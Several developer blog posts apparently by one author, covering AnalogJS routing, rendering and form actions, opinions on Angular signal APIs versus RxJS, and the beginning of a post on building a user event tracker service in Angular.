        |── (anime)/
        │   ├── details.[animeId].page.ts
        │   ├── my-list.page.ts        
        ├── (auth)/
        │   ├── login.page.ts
        │   ├── login.server.ts        
        │   ├── register.page.ts
        │   └── register.server.ts        
        ├── (blog)/
        │   └── [slug].page.ts
        ├── (auth).page.ts
        ├── [...page-not-found].page.ts
        ├── index.page.ts

First we start with the main index.page.ts that is served on the initial / route. Next, if the user somehow wanders into a non-existing route, the [...page-not-found].page.ts component will catch all of them. It represents a wildcard ** route.

For authentication, we’ve got login and register pages living inside the (auth) folder. This folder doesn’t change the actual routing, it’s just there to keep things together. We also added (auth).page.ts to provide a shared layout for those two pages. The login.server.ts and register.server.ts files are where form actions happen, but more on those later.

Our blog section is handled by (blog)/[slug].page.ts, which maps to URLs like /blog1, /blog2, and so on. It’s a dynamic route used for rendering content pages.

When someone searches and clicks on an anime, the details appear at /details/123, with 123 being the anime’s ID. This page is public and server-side rendered. Logged-in users can also create their own favorites list at /my-list. Since that’s a private page, it’s rendered entirely on the client side.

Application Routing Detailed

With this section I want to go a bit deeper how each route works, reading route parameters, how to configure rendering and setting metadata.

Static Routes

A route is considered static if there are no square brackets [] in the filename. In our case, the / and /my-list routes are static and look something like this (with a richer template):

@Component({
  template: `<h2>Home Page</h2>`,
})
export default class HomePageComponent {}

What I learnt is that selectors (selector: 'app-home') have no effect on the page components, you can skip them and the component name is also irrelevant. We are using the HomePageComponent name, however you can name it BananaComponent and the final result will stay the same. What actually matters is where the file lives inside the /app/pages folder structure.

Worth to mention to not forget the default keyword when defining a route, otherwise you can get the NG04014: Invalid configuration of route '' error.

Dynamic Routes

Dynamic routes are defined by their filename, where the route param is inside the square brackets. In our example, when a user navigates to /details/123, the details.[animeId].page.ts component kicks in and loads data based on the animeId value.

@Component({ template: `...` })
export default class AnimeDetailsPageComponent {
  private readonly route = inject(ActivatedRoute);
  private readonly animeApiService = inject(AnimeApiService);

  readonly animeDetails = rxResource({
    loader: () =>
      this.route.paramMap.pipe(
        map(params => params.get('animeId')),
        filter((animeId): animeId is string => !!animeId),
        switchMap(animeId => this.animeApiService.getAnimeById(animeId))
      ),
  });
}

Layout Routes

Layout routes are created by setting up a parent file and a child folder with the same name. In our case, we have the (auth).page.ts parent component, and inside the (auth) folder, we have the login.page.ts and register.page.ts pages as its children. To make the layout work, the parent (auth).page.ts needs to include a router-outlet to render its child routes, like this:

@Component({
  imports: [RouterOutlet, RouterLink],
  template: ` 
    <h2>Auth Layout</h2>

    <button type="button" routerLink="/login">login</button>
    <button type="button" routerLink="/register">register</button>

    <router-outlet />
   `,
})
export default class AuthLayoutComponent {}

Catch-All Routes

This route was defined by [...page-not-found].page.ts, as it represents the wildcard **. The following example is from the official docs:

import { Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { injectResponse } from '@analogjs/router/tokens';
import { RouteMeta } from '@analogjs/router';

export const routeMeta: RouteMeta = {
  title: 'Page Not Found',
  canActivate: [() => {
      const response = injectResponse();
      if (import.meta.env.SSR && response) {
        response.statusCode = 404;
        response.end();
      }
      return true;
  }],
};

@Component({
  imports: [RouterLink],
  template: `<a routerLink="/">Go Back Home</a>`,
})
export default class PageNotFoundComponent {}

The routeMeta is set up so that if you type a non-existent URL like /nonexistingroute and hit enter, the request goes through SSR by default. But thanks to routeMeta, the server won’t even try to render that page, it just returns a 404 right away. However, if you navigate to a non-existing route from within the app (like via a button click), it falls back to client-side rendering and shows a friendly "go back home" message instead.

Route Metadata

Another great use case for route metadata is SEO and optimizing how your pages appear on social platforms. If you're new to that, the MDN guide on webpage metadata is a super helpful starting point. Here’s a quick example:

export const routeMeta: RouteMeta = {
  meta: [
    {
      name: 'author',
      content: 'Eduard Krivanek',
    },
    {
      property: 'og:title',
      content: 'Anime Search',
    },
    {
      property: 'og:description',
      content: 'Example App about anime search',
    },
  ]};

@Component({ template: `` })
export default class HomeComponent {}

Rendering Strategy

By default, every page in Analog uses SSR to generate content. But Analog also supports SSG, and you can even opt out completely and go with CSR. The SSR vs CSR article is a solid read if you are wondering when to use what.

In our case, we use SSR for the / route, the homepage, since it fetches anime data right away and benefits from that initial server render. The /my-list page, however, is behind an auth wall, so SEO isn't really a concern. That raises the question: “Should I bother with SSR here?” Personally, I’d say no. For dashboard-style pages, CSR usually does the job just fine.

Then we’ve got /login, /register, and all the blog pages. These don’t change often, so they’re perfect candidates for SSG. To achieve this configuration, you’ll need to adjust the plugins section in your vite.config.ts.

  plugins: [
    analog({
      prerender: {
        routes: async () => [
          '/login',
          '/register',
          {
            contentDir: 'src/content/blog',
            transform: file => {
              const slug = file.attributes?.['slug'] || file.name;
              return `/blog/${slug}`;
            },
          },
        ],
      },
      nitro: {
        routeRules: {
          '/my-list': { ssr: false },
        },
      },
    }),
  ],

Worth mentioning that even if you leave some pages to be rendered by SSR, you can still use @defer (on viewport){} to load child components, such as charts, or mainly components which work with DOM, only the client side. For that read more about defer syntax from Angular docs.

Markdown Content Generation

One feature I really appreciate as a blog-posting human is markdown content support in Analog. For our app, we want to display three blog posts, which we’ll store in /src/content/blog. We want to set up routing, render the posts, add formatting, and even dynamic route metadata.

First step it to open src/app/app.config.ts, enable markdown file support, and add a syntax highlighter. You can pick between Prism or Shiki, both are great, but for this example, we’re rolling with Prism.

import { ApplicationConfig } from '@angular/core';
import { provideContent, withMarkdownRenderer } from '@analogjs/content';
import { withPrismHighlighter } from '@analogjs/content/prism-highlighter';

export const appConfig: ApplicationConfig = {
  providers: [
    // ... other providers
    provideContent(withMarkdownRenderer(), withPrismHighlighter()),
  ],
};

When it comes to markdown files (in the /src/content/blog folder), it’s way easier to keep all your blog posts in a single folder, instead of creating a new folder for each post. Before listing out the blogs, you’ll probably want to add some metadata to each file, like this:

---
title: 'Test Blog 1'
tags: angular, rxjs
order: 1
datePublished: 01.01.2024
coverImage: article-cover/background.jpg
---

## Lorem Ipsum

"Neque porro quisquam est qui dolorem..."

You can access the content file list by the injectContentFiles function, that takes a filter where you pass in the location of your content, in our case the /src/content/blog folder.

import { injectContentFiles } from '@analogjs/content';

@Component({
  imports: [RouterLink],
  template: `
    @for (post of posts; track post.attributes.title) {
      <div [routerLink]="['/blog', post.slug]">
        Blogpost - {{ post.attributes.title }}
      </div>
    }
`})
export default class HomeComponent {
  readonly posts = injectContentFiles<{
    title: string;
    tags: string;
    datePublished: string;
    coverImage: string;
  }>(files => files.filename.includes('/src/content/blog'));
}

The post.slug is simply the filename of your blog post. So if a user clicks on test-blog-1.md, they’ll be taken to /blog/test-blog-1, and the blog/[slug].page.ts route will catch and render it.

To display the content of the blogpost, inside the blog/[slug].page.ts route, analog provides the injectContent function and a MarkdownComponent to display the blogpost in a formatted way.

@Component({
  imports: [AsyncPipe, MarkdownComponent],
  template: `
    @if (post$ | async; as post) {
      <article class="prose prose-slate">
        <img [src]="post.attributes.coverImage" />
        <analog-markdown [content]="post.content" />
      </article>
    }
 `,
})
export default class BlogPostComponent {
  readonly post$ = injectContent<{
    title: string;
    tags: string;
    datePublished: string;
    coverImage: string;
  }>({
    param: 'slug',
    subdirectory: 'blog',
  });
}

At this point the markdown may be rendered, but styles will not be applied. To fix that, you need to import prismjs styles. If you’re using Tailwind, you’ll also want to add tailwindcss-typography for that extra polish (and apply the prose css class where you rendered the blogs). Depending on your Tailwind version (mine’s 4+), you’ll need to edit your style.css.

/* Tailwind directives  */
@import 'tailwindcss';

@import 'prismjs/plugins/toolbar/prism-toolbar.css';
/* check node_modules/prismjs/themes/ for the available themes */
@import 'prismjs/themes/prism-tomorrow';

/* highlight text for markdown */
@plugin "@tailwindcss/typography";

Lastly, if you’re heavy on code snippets in your markdown and notice some languages (like SQL, GraphQL, etc.) aren't styled properly, you’ll need to update the vite.config.ts file. Just add them under content.prismOptions.additionalLangs, like so:

// vite.config.ts
export default defineConfig(({ mode }) => ({
  plugins: [
    analog({
      content: {
        prismOptions: {
          additionalLangs: ['yaml', 'sql', 'graphql', 'bash'],
        },
      },
      prerender: { /* ... */ },
      nitro: { { /* ... */ },
    }),
  ],

Markdown Content Meta Tags

The blog/[slug].page.ts is a generic component that handles rendering every markdown file living in /src/content/blog. But we also want to add some dynamic meta tags when we prerender these pages for better SEO.

If you want a deeper dive, I recommend checking out Brandon’s example on GitHub. For our case though, we can keep it simple with the following setup:

// src/app/pages/blog/[slug].page.ts 
export const routeMeta: RouteMeta = {
  title: 'Blog Post',
  meta: route => {
    const file = injectContentFiles<{
      title: string;
      tags: string;
      datePublished: string;
      coverImage: string;
    }>().find(file => file.slug === route.params['slug'])!;

    return [{
        name: 'author',
        content: 'Eduard Krivanek',
      },
      {
        property: 'og:title',
        content: file.attributes.title,
      },
      {
        property: 'og:published',
        content: file.attributes.datePublished,
      }];
  },
};

@Component({ template: `...`})
export default class BlogPostComponent { /* ... */ }

This configuration will automatically inject the correct meta tags into each prerendered blog page.

API routes

Each app needs a database connection to persist data. In our demo app I mocked this database, but the idea remains the same. We’ve got one singleton service (class) that stores all the application data.

export class Database {
  static instance = new Database();

  storedData = {};

  async createUser(username: string) { /*  */ }
  async addLikedAnime(username: string, anime: AnimeDetails) { /*  */ }
  async removeLikedAnime(username: string, animeId: number) { /*  */ }
}

You’ll access every method via Database.instance.XYZ. Now, what we want to do is create an endpoint based on the HTTP request method. This endpoint will allow us to pass information, like when a user marks an anime as a favorite and wants to keep it in their "favourites" section, then even display it on the (anime)/my-list page.

To create this endpoint, we’ll use the defineEventHandler function. This function will be placed in src/server/routes/api/anime/save-anime.post.ts with the following logic.

One thing to note is the .post suffix in save-anime.post.ts. This suffix tells Analog to create a specific HTTP POST endpoint. If you removed the .post and kept the file as save-anime.ts, this endpoint would accept any HTTP method. In our case, we want to restrict it to just POST requests.

// src/server/routes/api/anime/save-anime.post.ts
import { createError, defineEventHandler, readBody } from 'h3';
import { AnimeDetails } from './../../../api/api.model';
import { Database } from './../../../database/database';

export default defineEventHandler(async event => {
  const body = (await readBody(event));
  const id = parseInt(body?.id);
  const username = body?.username;

  // check if id is a number
  if (!Number.isInteger(id) || !username) {
    throw createError({
      statusCode: 400,
      statusMessage: 'Invalid input data',
    });
  }

  // fetch anime details from API
  const response = await fetch(`https://api.jikan.moe/v4/anime/${id}`);
  const anime = (await response.json()) as { data: AnimeDetails };

  // save anime to DB
  await Database.instance.addLikedAnime(username, anime.data);

  // return liked anime to the user
  return { data: anime.data };
});

For POST requests, the readBody function will let you access the message body. If you were using a GET request, you’d use getRouterParam instead. To send data to this backend listener, you’ll need to use HttpClient and target the /api/anime/save-anime URL.

@Injectable({ providedIn: 'root' })
export class AnimeApiService {
  private readonly http = inject(HttpClient);

  saveAnime(id: number | string, username: string) {
    return this.http.post('/api/anime/save-anime', {
      id,
      username,
    });
  }
}

API Route Protection

Analog supports server-side middleware, designed to modify requests, sending redirects or checking for authentication. In our example we can use middleware to setup route protection on every /api/anime route, verifying if user is authenticated. Each middleware run in order defined in the /server/middleware folder.

// /server/middleware/is-logged-in.ts
import { defineEventHandler, getHeader, getRequestURL, sendRedirect } from 'h3';

export default defineEventHandler(async event => {
  if (getRequestURL(event).pathname.includes('/api/anime')) {
    const authToken = getHeader(event, 'authToken');

    // check auth and redirect
    if (!authToken) {
      console.log('User not logged in, redirecting to login');
      sendRedirect(event, '/login', 401);
    }
  }
});

You either add a header to each request or create an interceptor for that, however right now if you target the /api/anime endpoint without the authToken information, you will get the following error message.

Form Actions

Analog comes with form actions, which allow you to handle form submissions directly, without needing a separate HTTP route to process the data (as we did earlier). Instead, the logic is placed right next to the file where the form is submitted.

The FormAction directive, imported from @analogjs/router, gives you access to onSuccess and onError event emitters on the <form> tag. To demonstrate this, we’ll use the (auth)/login.page.ts to handle user sign-in. The client-side component looks like this:

@Component({
  imports: [FormAction, /* .... */],
  template: `
    <form method="post" (onSuccess)="onSuccess($event)" (onError)="onError($event)">
      <mat-form-field>
        <mat-label>Username</mat-label>
        <input name="username" [formControl]="loginForm.controls.username" />
      </mat-form-field>

      <button [disabled]="loginForm.invalid">Login</button>
    </form>
  `,
})
export default class LoginComponent {
  readonly loginForm = new FormGroup({
    username: new FormControl('testname', {
      validators: [Validators.required],
    }),
  });

  onSuccess(data: unknown) {
    console.log('success', data as AuthUser);
  }

  onError(result?: unknown) {
    console.log('error', result);
  }
}

To handle form submissions, you create a .server.ts alongside the .page.ts component. So, in our case, the folder structure looks like this:

src/
└── app/
    └── pages/     
        ├── (auth)/
        │   ├── login.page.ts
        │   └── login.server.ts
        │   └── register.page.ts
        │   └── register.server.ts

And inside the login.server.ts you may have a logic similar to this

import { fail, json, type PageServerAction } from '@analogjs/router/server/actions';
import { readFormData } from 'h3';
import { Database } from '../../../server/database/database';

export async function action({ event }: PageServerAction) {
  const body = await readFormData(event);
  const username = body.get('username') as string;

  if (!username) {
    return fail(422, { username: 'Username is required' });
  }

  if (!(await Database.instance.getUser(username))) {
    return fail(422, { username: 'Invalid username' });
  }

  return json({ type: 'success', token: 'XYZ', username: username });
}

An interesting thing I noticed is that onSuccess fires when the user authenticates successfully, but the response is always returned as an unknown type. So, if you try to write onSuccess(data: AuthUser) {}, you’ll get an error: Argument of type 'unknown' is not assignable to parameter of type 'AuthUser'. You could validate the data using Zod, or as shown in the example, just cast it to the right type manually.

In the LoginComponent, we used FormGroup to build the form. However, with form actions, this isn't strictly necessary. You just need to display the form fields in the UI, assign a unique name to each one, and when the form is submitted, it will send the data using method="post" to the form handler. The FormGroup was mainly useful for adding validators in this case.

Summary

Overall, my experience with Analog has been a pleasant one. The documentation is well-organized and provides all the necessary information. And if something’s unclear, you can always hop onto their Discord to ask questions or chat with the community.

But the real question is: would I choose Analog for my next project? Right now, it’s tough to imagine the Angular team coming up with a full-stack solution that could outshine Analog. More and more developers are aware of Analog, so I don't think it's going anywhere anytime soon.

If you’re not working on a fully dashboard-style app (where most of the functionality is behind authentication and you don’t want to set up a separate backend like NestJS), Analog is definitely worth considering. It shines in small to medium-sized projects. For large-scale projects, though? Check with the community on the Discord channel.

I hope you enjoyed this article. You can check out the full Anime search example on GitHub. Feel free to share your thoughts, catch more of my articles on dev.to, or connect with me on LinkedIn.

My Personal Take On Signal Types In Angular

Eduard Krivanek — Tue, 18 Mar 2025 06:57:09 +0000

On May 3, 2023, signals were introduced in Angular v16 as a reactive variable for managing application state. While it was a new feature at the time, by Angular v19.2, signals have already become a well-established API. Although not all legacy corporate projects have adopted signals, most developers are aware of them (whether in a positive light or not).

In the latest (currently v19.2) we have signal APIs such as httpResource, rxResource / resource &linkedSignal. In this article I want to give my thoughts on signals, how I look at signals, in which situation I use them, and how they compare to alternative approaches, such as RxJS solving the same problem. Blog was originally published on Angular-Spaces.

Signal Primitives

Reading Angular’s documentation, they describe that signal() is a wrapper around any primitives or complex data structure that notifies consumers when the value changes.

I use signal() whenever a variable is used in the DOM and its value updates over time. A common example is toggling between components using two buttons to control which component is displayed.


@Component({
  selector: 'app-test',
  template: `
      <button (click)="onViewChange('card')" type="button">
        Card View
      </button>
      <button (click)="onViewChange('grid')" type="button">
        Grid View
      </button>

      @if(viewControl() === 'grid') { <app-grid-view /> }
      @else if(viewControl() === 'card') { <app-card-view /> }
  `,
  changeDetection: ChangeDetectionStrategy.OnPush,
  standalone: true,
})
export class TestComponent {
  viewControl = signal<'grid' | 'card'>('grid');

  onViewChange(view: 'grid' | 'card'): void {
    this.viewControl.update(() => view);
  }
}

Is signal() the only viable option for this? Not really. An alternative approach could be to create a child component implementing ControlValueAccessor and manage state using reactive forms in the parent to control which view is displayed.

@Component({
  selector: 'app-test',
  template: `
      <app-button-grid-card-view-change [formControl]="viewControl" />

      @if(viewControl.value === 'grid') {  <app-grid-view /> }
      @else if(viewControl.value === 'card') { <app-card-view />}
  `,
  imports: [ReactiveFormsModule],
  changeDetection: ChangeDetectionStrategy.OnPush,
  standalone: true,
})
export class TestComponent {
  viewControl = new FormControl<'grid' | 'card'>('grid');
}

Creating a separate component for our buttons is a realistic approach, especially when dealing with multiple buttons and more complex logic. Worth mentioning that this example will not work with zoneless apps, because viewControl.value is not reactive. The framework will not know about the change. It might work in apps with zone.js, but only because of the "click" event, which is patched by zone.js.

Instead of using reactive forms, we can improve this scenario by leveraging the model() signal in the child component. This allows the child to notify the parent about which button was clicked, effectively delegating the responsibility of toggling between card and grid views to the child component. Note that viewModel is a viewModel = model<'grid' | 'card'>('grid') in the child component.

@Component({
  selector: 'app-test',
  template: `
      <app-button-grid-card-view-change [(viewModel)]="viewControl" />

      @if(viewControl() === 'grid') {  <app-grid-view /> }
      @else if(viewControl() === 'card') { <app-card-view />}
  `,
  changeDetection: ChangeDetectionStrategy.OnPush,
  standalone: true,
})
export class TestComponent {
  viewControl = signal<'grid' | 'card'>('grid');
}

This is all well and good. We now have at least three (if not more) different ways to solve the same problem, and honestly, the differences between them aren’t that significant. Based on the examples, I’d lean toward the third solution. However, as a big RxJS fanboy, I want to dive deeper into effect, httpResource, rxResource, and linkedSignal, how they simplify code, yet still have (for now) some limitations when it comes to shaping the result value.

Opinion On Effect

When effect() was introduced alongside Angular signals, it's safe to say we all overused it. For a while, one of the most Googled questions was:

How to fix: Writing to signals is not allowed in a computed or an effect by default. Use allowSignalWrites ….

We quickly discovered that creating infinite loops was easier than we’d like to admit. A classic example looks something like this:

effect(() => {
  const user = authUser();
  this.methodReadsAndUpdatedSignals(a);
})

Later, we discovered that we could use untracked() inside effect(), essentially wrapping most of our code in it, to prevent infinite loops. What’s interesting is that, despite effect() being part of the Angular signal API, Angular actually discourages its use except in very rare cases.

When I built ggfinance.io (small promo 😏), a mid-sized application, I found myself using effect() only in the following scenarios:

DOM – Initializing charts
DOM – Displaying data in Angular Material tables
DOM – Creating structural directives that modify the view based on signal (store) changes
LOG – Logging signal changes

@Component({
  selector: 'app-test',
  standalone: true,
  imports: [MatTableModule, MatPaginatorModule, MatSortModule],
  template: `
    <table mat-table mat-sort [dataSource]="dataSource">
      <!-- display columns -->
    </table>
    <mat-paginator />
  `,
})
export class TestComponent {
  data = input<unknown[]>();

  paginator = viewChild(MatPaginator);
  sort = viewChild(MatSort);

  displayedColumns = ['col1', 'col2'];
  dataSource = new MatTableDataSource<unknown>([]);

  tableEffect = effect(() => {
    const data = this.data();

    untracked(() => {
      this.dataSource.data = data;
      this.dataSource.paginator = this.paginator() ?? null;
      this.dataSource.sort = this.sort() ?? null;
      this.dataSource._updateChangeSubscription();
    });
  });
}

Although effect is a building block as such, mainly to issue side-effect tasks, run an independent computation when one or more input values change, other alternatives are preferred when creating a new reactive data structure used in the DOM. Upon a later discovery, as I was writing this article, I realized that you solve some of the mentioned problems with computed(), such as rewriting the mat-table data population as such.

@Component({
  selector: 'app-test',
  standalone: true,
  imports: [MatTableModule, MatPaginatorModule, MatSortModule],
  template: `
    <table mat-table mat-sort [dataSource]="tableData()">
      <!-- display columns -->
    </table>
    <mat-paginator />
  `,
})
export class TestComponent {
  data = input<unknown[]>();

  paginator = viewChild(MatPaginator);
  sort = viewChild(MatSort);

  displayedColumns = ['col1', 'col2'];

  tableData = computed(() => {
    const data = this.data();
    const dataSource = new MatTableDataSource<unknown>([]);

    dataSource.data = data;
    dataSource.paginator = this.paginator() ?? null;
    dataSource.sort = this.sort() ?? null;

    return dataSource
  });
}

Opinion On linkedSignal

While computed() is a signal whose value is derived or computed from one or more other signals (dependencies), it is inherently a readonly signal. However, there are cases when you need to compute a signal, update its value over time, and then reset it back to its initial state when a dependency changes.

An example of this might be in an online store, ordering application, or a simple SaaS app. Imagine you have a scenario where a user selects an item. The initial quantity will always be 1, but the user can increment the quantity. However, when a new item is selected, the quantity should reset to 1.

Below are two examples of how to achieve this behaviour, both before and after the introduction of linkedSignal().

 // EXAMPLE BEFORE linkedSignal()
 itemSelected = signal<unknown>(null);
 itemUnits = signal(1);

 // everytime a new item is selected, reset units to 0
 itemUnitsEffect = effect(() => {
   const selected = this.itemSelected();

   untracked(() => {
     this.itemUnits.set(1);
   })
 })

// EXAMPLE USING linkedSignal()
itemSelected = signal<unknown>(null);

itemUnits = linkedSignal({
    source: this.itemSelected,
    computation: () => 1
});

I think linkedSignal() particularly useful in cases where:

State reset on dependency change, like in the example of selecting a product on an e-commerce site and resetting quantities back to the default value when a new item is selected.
Conditional state, when you want to link one signal’s state to another and have the ability to reset or adjust its value based on the context of the other signal.
Complex UI interactions, such as wizards or multi-step forms, where one step’s state depends on another, and you need to preserve or reset values depending on the flow.

That said, linkedSignal() might not be necessary for every use case. It’s useful for scenarios where you need more than just a computed signal but don’t want to deal with the complexity of manually resetting or synchronizing state.

Opinion On httpResource & rxResource/resource

The recent Angular versions introduced two useful signal APIs designed to work with async data:

httpResource – available in version 19.2
rxResource/resource – available in version 19.0

Initially, I had mixed feelings about these two functions because, since we can achieve very similar behaviour using RxJS. However, I realized that the long-term goal of the Angular team seems to be reducing the reliance on RxJS. Looking at httpResource, its description says:

Uses HttpClient to make requests and supports interceptors, testing, and other features of the HttpClient API. Data is parsed as JSON by default.

 data1 = toSignal(this.http.get<unknown>('...').pipe(map((d) => d.data)
 ), { initialValue: [] });

 data2 = httpResource<unknown[]>(
    () => ({
      method: 'GET',
      url: '',
  }), { defaultValue: [], parse: (d): unknown[] => d.data });

At first, I thought the two approaches were almost identical. However, I quickly realized I was mistaken. The httpResource API provides additional built-in states like isLoading and error, which are incredibly useful for tracking the request’s status.

Furthermore, because httpResource is a WritableResource, it allows not just to observe state changes but also directly manipulate that state, manually setting the state of the signal, such as data2.set([]). This contrasts with the traditional toSignal API, which is a read-only signal.

Additionally, httpResource gives us the progress of the HTTP request, and we can use reload() to trigger the HTTP request again.

Let’s look at the following example. We have a search bar that loads items based on the prefix and selected genres, and when an item is selected, the search results will be dismissed.

To achieve this behaviour with the new signal APIs, we could implement something like the code below. I’d say the code is definitely easy to read and doesn’t require RxJS.

As you type into the input, the values are saved in the searchControl signal. When the genre is changed, it gets saved in the selectedGenresId signal. I haven’t included the HTML part since I believe it's not crucial for this example.

export class SearchComponent {
  private apiService = inject(AnimeApiService);

  selectedData = output<AnimeData>();

  // control signal to select a genre and item prefix
  searchControl = signal('');
  selectedGenresId = signal<number>(1);

  // load options if genre or prefix changes
  searchedDataResource = rxResource({
    request: () => ({
      genresId: this.selectedGenresId(),
      prefix: this.searchControl(),
    }),
    loader: ({ request }) =>
      this.apiService.searchAnime(request.prefix, request.genresId),
        defaultValue: [],
  });

  onGenresClick(id: number): void {
    this.selectedGenresId.set(id);
  }

  onClick(animeData: AnimeData): void {
    // emit to parent
    this.selectedData.emit(animeData)
    // reset displayed data
    this.searchedDataResource.value.set([]);
  }
}

One small thing I’d like to highlight with this approach is the difference between declarative and imperative programming.

In the searchedDataResource, we have the loaded items. However, when an item is selected, we imperatively change searchedDataResource to an empty array, somewhere in the program, to hide the loaded results.

The question I want to explore is: What would be the RxJS equivalent of this code, where we want to keep track of both the loading and error states of network requests?

export class SearchComponent {
  private apiService = inject(AnimeApiService);

  // control for item prefix
  searchControl = new FormControl<string>('', {
    nonNullable: true,
  });

  // control to select a genre
  selectedGenresIdControl = new FormControl<number>(1, {
    nonNullable: true,
  });

  selectedData$ = new Subject<AnimeData>();

  // notifies parent when item is selected
  selectedAnime = outputFromObservable(this.selectedAnime$);

  searchedData = toSignal(
    this.selectedGenresIdControl.valueChanges.pipe(
      switchMap((genderId) =>
        this.searchControl.valueChanges.pipe(
          // search immediatelly with new genres
          startWith(this.searchControl.value),
          // load from API
          switchMap((name) =>
            this.apiService.searchAnime(name, genderId).pipe(
              map((data) => ({ data, isLoading: false })),
              startWith({ data: [], isLoading: true }),
              catchError((e) => 
                  of({ data: [], error: e, isLoading: false })
                ),
            ),
          ),
          // listen on select and reset the data
          switchMap((result) =>
            this.selectedData$.pipe(
              map(() => ({ data: [], isLoading: false })),
              startWith(result),
            ),
          ),
        ),
      ),
    ),
    { initialValue: { data: [] as AnimeData[], isLoading: false } },
  );

  onClick(data: AnimeData): void {
    this.selectedData$.next(data);
  }
}

One might argue that the rxResource version is shorter, more readable, therefore a better choice. While readability certainly wins here, what I personally miss from signals are the utility functions that RxJS provides, such as distinctUntilChanged(), debounceTime(), and others for manipulating data.

To further reduce the complexity in RxJS, which typically handles the loading and error states of network requests, you can abstract the logic by creating custom RxJS operators.

If you want to minimize RxJS usage, but still need functionality like debouncing, you could either use Lodash or combine RxJS with rxResource to achieve something like this:

export class AnimeSearchNewComponent {
  private readonly apiService = inject(AnimeApiService);

  // control signal to select a genre and item prefix
  readonly searchControl = signal('');
  readonly searchControlSignal = toSignal(
    toObservable(this.searchControl).pipe(
      distinctUntilChanged(),
      debounceTime(300),
    )
  )

  // load options if genre or prefix changes
  readonly searchedDataResource = rxResource({
    request: () => ({
      prefix: this.searchControlUsed(),
    }),
    loader: ({ request }) =>
      this.apiService.searchAnime(request.prefix),
        defaultValue: [],
  });
  }

One thing to consider with signals is that while they provide a simpler API for managing state, RxJS still has its place for more complex scenarios where you need to do heavy data transformation or work with higher-order observables. Signals shine in cases where you just need to track a value and its changes, whereas RxJS excels when you're dealing with multiple asynchronous streams, operators like combineLatest or switchMap, and complex transformations.

Summary

No one can argue that Angular's team doesn't deliver new and useful features. Perhaps it’s because I’ve been part of the ecosystem for so long, or because of my experience with RxJS, that I feel the need to discuss this topic. It’s also worth mentioning the new RFCs about resource architecture:

The ongoing RFCs about the resource architecture will likely shape the direction Angular takes with handling asynchronous data.

When I first set out to write this article, I didn’t quite understand the usefulness of rxResource and httpResource, thinking that you could achieve the same or similar results with signals. However, after creating a small example of the search box – available on GitHub – I came to appreciate that having more options to accomplish the same result is actually a good thing. Whether you choose RxJS or signals depends on your preferences and the needs of your project as both have their place in Angular development.

Finally I do recommend taking a look on HttpResource in Angular 19.2 from Decoded Frontend as he explains lots of functionalities with the HttpResource. I hope you enjoyed my musings on this topic. You can also read more from me on dev.to or connect with me on LinkedIn.

Simple User Event Tracker In Angular

Eduard Krivanek — Mon, 17 Feb 2025 15:49:53 +0000

Recently, in the company I am working for, we had a task to implement an user event logger. The problem was that we weren’t sure how the customer is using our app. We needed to track user behavior to understand why certain HTTP actions were being triggered. The task was a bit abstract, but we had to fulfill the following requirements:

Log every single input value change
Track every form submission, regardless of validity
Capture every router navigation change
Monitor dialog open and close events
Log all incoming and outgoing HTTP requests
Aggregate logs into chunks to optimize storage
Save logs when the application is refreshed/closed

While there are many 3rd party providers, or even NPM libraries to choose from, we wanted to have a local event tracker that can be customized based on our needs. In this article, I’ll go through a real world problem, the different approaches we considered, and the final solution we implemented.

The logger is quite generic, hence the reason for this article. If you have a similar problem, you may find some inspiration here. The code is available on Github Repository. The article will be rich with code snippets, but I won’t explain every part of the code, as I assume the reader have a basic knowledge of declarative programming, RxJs operators and Angular’s fundamentals.

The End Result

Before diving deep into the article I want to show a picture about the final result. As users interact with the application, changing form values, opening dialogs, submitting forms, clicking buttons, and more, every action is logged.

Initial Brainstorming

When brainstorming a solution for this problem, to handle HTTP requests, the answer was obvious, we needed to create an interceptor. The problem was to track input value changes, which included: text fields, text areas, selects, radio buttons, button clicks, etc. We considered two approaches:

Multiple Directives – Creating separate directives for different HTML elements, such as @Directive({ selector: 'input, textarea' }).
A Centralized Service – Injecting the DOCUMENT token (document = inject(DOCUMENT)) into a service, setting up a global event listener, and identifying which HTML element was clicked or focused.

While directives are great for targeting specific elements, a major drawback (for us) was that each directive had to be explicitly imported into every standalone component. To keep things simple, we went for the "one service to rule them all" approach, though we still used directives in some edge cases. In the following sections, I'll walk you through our solution.

Event Accumulator

To start with the basics, we first needed a service to collect and store all generated logs before sending them to the server when the application closed. This part of the solution was relatively simple, and we ended up with the following approach:

@Injectable({
  providedIn: 'root',
})
export class UserEventTrackerService {
  private readonly router = inject(Router);

  /** trigger when an user event happens that we want to log */
  private readonly accumulateLog$ = new Subject<LogEventAction>();

  /** trigger to reset the accumulated logs */
  private readonly resetLogs$ = new Subject<void>();

  /** accumulate every user event that happens */
  private readonly accumulatedLogs = toSignal(
    merge(
      // triggered logs by the app
      this.accumulateLog$.pipe(
        map((action) => ({
          type: 'add' as const,
          action: { ...action, time: new Date(), page: this.router.url }
        })),
      ),
      // reset logs
      this.resetLogs$.pipe(map(() => ({ type: 'reset' as const }))),
    ).pipe(scan((acc, curr) => 
      (curr.type === 'add' ? [...acc, curr.action] : [])
        , [] as UserEvent[])
    ), { initialValue: [] });

  createLog(action: LogEventAction): void {
    this.accumulateLog$.next(action);
  }

  saveLogs(): void {
    const logChunks = createChunks(this.accumulatedLogs(), 120)

    // save all log chunks
    for (const logFormat of logChunks) {
      this.sendToRemoteByFetch(logFormat);
    }

    // trigger reseting all previous logs
    this.resetLogs$.next();
  }

  private sendToRemote(body: unknown): void {
    // todo ....
  }
}

In the UserEventTrackerService, we expose two public interfaces. When we want to create a new log, we call the createLog() method. Not exposing the accumulateLog$ subject, but rather wrapping it inside the createLog() method prevents unnecessary abuse such as calling accumulateLog$.complete() for whatever reason. The LogEventAction type helps categorize and distinguish different types of logs. While not the main focus of this article, for context, the LogEventAction looks something like this:

// the code is reduced for the sake of article
export type LogEventAction =
  | {
      type: 'inputChange';
      // input, select, checkbox
      elementType: string;
      // label of the element
      elementLabel: string;
      // input value
      value: string | boolean | number;
    }
  | {
      type: 'clickElement';
      elementType: string;
      value: string;
    }
  | {
      type: 'routerChange';
      text: string;
    }
  | {
      type: 'apiCall';
      url: string;
    }
   | {
       type: 'custom';
       value: unknown;
   }
   // .....

export type UserEvent = {
  // time when the user event happens - HH:mm:ss
  time: string;
  // current page that the user is on
  page: string;
} & LogEventAction;

Therefore, if we want to create a log, all we have to do in a component is:

export class TestComponent {
    private trackingService = inject(UserEventTrackerService);

    createLog(){
        this.trackingService.createLog({ type: 'custom', value: 'AA' })
    }
}

